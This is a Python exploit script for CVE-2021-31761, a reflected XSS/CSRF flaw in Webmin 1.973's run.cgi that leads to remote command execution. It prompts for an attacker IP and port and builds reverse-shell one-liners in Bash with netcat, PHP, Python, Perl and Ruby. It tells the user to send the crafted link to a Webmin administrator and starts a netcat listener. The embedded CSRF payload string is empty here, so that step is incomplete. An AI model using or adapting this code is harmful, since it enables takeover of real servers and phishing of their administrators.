# Exploit Title: Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF) # Date: 24/04/2021 # Exploit Author: Mesh3l_911 & Z0ldyck # Vendor Homepage: https://www.webmin.com # Repo Link: https://github.com/Mesh3l911/CVE-2021-31761 # Version: Webmin 1.973 # Tested on: All versions <= 1.973 # CVE: CVE-2021-31761 # Description: Exploiting a Reflected Cross-Site Scripting (XSS) attack to # get a Remote Command Execution (RCE) through the Webmin's running process # feature import time, subprocess,random,urllib.parse print('''\033[1;37m __ __ _ ____ _ _________ _ _ _ | \/ | | | |___ \| | |___ / _ \| | | | | | | \ / | ___ ___| |__ __) | | / / | | | | __| |_ _ ___| | __ | |\/| |/ _ \/ __| '_ \ |__ <| | / /| | | | |/ _` | | | |/ __| |/ / | | | | __/\__ \ | | |___) | | _ _ / /_| |_| | | (_| | |_| | (__| < |_| |_|\___||___/_| |_|____/|_| (_|_) /_____\___/|_|\__,_|\__, |\___|_|\_/ __/ | |___/ \033[1;m''') for i in range(101): print( "\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m ) & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format( i), "\033[1;36m%\033[1;m", end="") time.sleep(0.02) print("\n\n") target = input( "\033[1;36m \n Please input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m") if target.endswith('/'): target = target + 'tunnel/link.cgi/' else: target = target + '/tunnel/link.cgi/' ip = input("\033[1;36m \n Please input ur IP to set up the Reverse Shell e.g. ( 10.10.10.10 ) > \033[1;m") port = input("\033[1;36m \n Please input a Port to set up the Reverse Shell e.g. ( 1337 ) > \033[1;m") ReverseShell = input \ ('''\033[1;37m \n 1- Bash Reverse Shell \n 2- PHP Reverse Shell \n 3- Python Reverse Shell \n 4- Perl Reverse Shell \n 5- Ruby Reverse Shell \n \033[1;m \033[1;36mPlease insert the number Reverse Shell's type u want e.g. ( 1 ) > \033[1;m''') file_name = random.randrange(1000) if ReverseShell == '1': ReverseShell = 'mkfifo /tmp/'+str(file_name)+'; nc '+ip+' '+port+' 0/tmp/'+str(file_name)+' 2>&1; rm /tmp/'+str(file_name)+'' elif ReverseShell == '2': ReverseShell = ''' php -r '$sock=fsockopen("''' + ip + '''",''' + port + ''');exec("/bin/sh -i <&3 >&3 2>&3");' ''' elif ReverseShell == '3': ReverseShell = ''' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("''' + ip + '''",''' + port + '''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ''' elif ReverseShell == '4': ReverseShell = ''' perl -e 'use Socket;$i="''' + ip + '''";$p=''' + port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ''' elif ReverseShell == '5': ReverseShell = ''' ruby -rsocket -e'f=TCPSocket.open("''' + ip + '''",''' + port + ''').to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ''' else: print("\033[1;36m \n Please Re-Check ur input :( \033[1;m \n") def CSRF_Generator(): Payload = urllib.parse.quote(''' ''') print("\033[1;36m\nHere's ur link , send it to a Webmin's Admin and wait for ur Reverse Shell ^_^ \n \n\033[1;m") print(target+Payload) def Netcat_listener(): print() subprocess.run(["nc", "-nlvp "+port+""]) def main(): CSRF_Generator() Netcat_listener() if __name__ == '__main__': main()